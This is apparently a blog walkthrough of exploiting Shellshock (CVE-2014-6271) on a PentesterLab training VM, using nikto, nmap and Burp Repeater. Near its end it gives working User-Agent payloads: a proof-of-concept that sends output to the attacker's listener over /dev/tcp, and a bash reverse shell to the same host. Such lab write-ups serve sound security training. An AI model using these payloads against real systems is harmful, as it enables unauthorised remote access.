CVE-2014-6271/Shellshock

Exploiting Shellshock with Burp


First up in PentesterLab’s courses is shellshock exploitation. If you read the course, he has you exploit the vulnerable host through a curl command. In this guide, we’re going to do the same exploit a little bit differently. I’ll be going through the steps assuming we don’t immediately know that the machine is vulnerable to shellshock.

To start, I found the IP of the vulnerable host and ran a quick vulnerability scan to ensure the target is vulnerable. I always find saving the output to a file a great way to save time if you need to reference the scan later on.

nikto -h 192.168.56.2 > nikto_results
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.56.2
+ Target Hostname: 192.168.56.2
+ Target Port: 80
+ Start Time: 2017-06-24 08:25:31 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.21 (Unix) DAV/2
+ Server leaks inodes via ETags, header found with file /, inode: 8101, size: 1704, mtime: Thu Sep 25 05:56:50 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'nikto-added-cve-2014-6278' found, with contents: true
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278).
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 8345 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2017-06-24 08:25:48 (GMT-4) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

 

As we can see above, the machine is vulnerable not only to CVE-2014-6271 but also CVE-2014-6278. Continuing on, an nmap scan reveals that there’s a standard web server running and accessible on this machine.

nmap -sV 192.168.56.2 > nmap-service
cat nmap-service
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-24 08:33 EDT
Nmap scan report for 192.168.56.2
Host is up (0.00014s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0 (protocol 2.0)
80/tcp open http Apache httpd 2.2.21 ((Unix) DAV/2)
MAC Address: 08:00:27:9A:41:39 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds

 

 

So we’ve now covered all our starting bases. While we know that this machine is vulnerable to shellshock and could have just ran the exploit given an IP address, it’s good practice to poke a round the machine a bit before just diving in. You never know what extra hints or alternative exploitation paths the author of the machine may have added as a bonus.

It’s always good practice to do a little research to figure out what’s going on. You’re not always going to have a well written guide, such as those on Pentesterlab, to guide you step by step. I would first look at the CVE details, and dig into the exploit a little further. Linked in the CVE details, we can find a great breakdown of the exploit on a blog. Given these two sources, what steps are next?

  • Request a vulnerable CGI or PHP Script.
  • Create a working proof of concept utilizing a custom header, such as cookie or user agent fields, to edit the environmental variable.
  • Modify the payload to send a shell back to our machine.

For the first step, we’re going to be using Burp. If you need any help, Portswigger has great documentation to get started.

Once Burp proxy is setup, we can capture the get request to the root site.

 

What I found interesting here that the default GET request went to /cgi-bin/status. Ordinarily, I would see something more generic like a /index.html and then have to manually perform the request on /cgi-bin/status. While it doesn’t make a different for this exercise, I would make a mental note of this. If we actually go to the page, we can see the status information.

 

Moving on, we now need to create a working proof of concept. To easily create request, you can use Burps Repeater function to test injections. Right click on the GET request and select “Send to Repeater”.

 

We can now edit and send as many GET requests as we want. Go into the Repeater tab to continue. We’re going to edit the User Agent header and test out a proof of concept. I’ve taken the initial POC listed and modified it a little to return back output to our Kali machine.

() { :; }; echo "Shellshock Confirmed" >& /dev/tcp/192.168.56.4/4444

We are essentially running the shellshock exploit and redirecting the output to a listener on our machine. This POC can be put into the User Agent string, and our listener can be started in Kali using ncat.

 

We have our POC setup and our listener at the ready. You can click “Go” on the Burp Repeater. Hopefully if all goes well, you’ll get something like the following.

 

Great! We now know the exploit not only works but we can also obtain a return shell. Next, we can get a return shell by modifying the User Agent again.

() { :; }; /bin/bash -i >& /dev/tcp/192.168.56.4/4444 0>&1

 

We now have a remote shell with user “pentesterlab” permissions! Ideally, we’d now try to get root access, however for the sake of the exercise, we have completed a shellshock exploit. In practice, shellshock is fairly simple to exploit. For a slightly more complex shellshock example, check out my write up of Sick OS 1.1.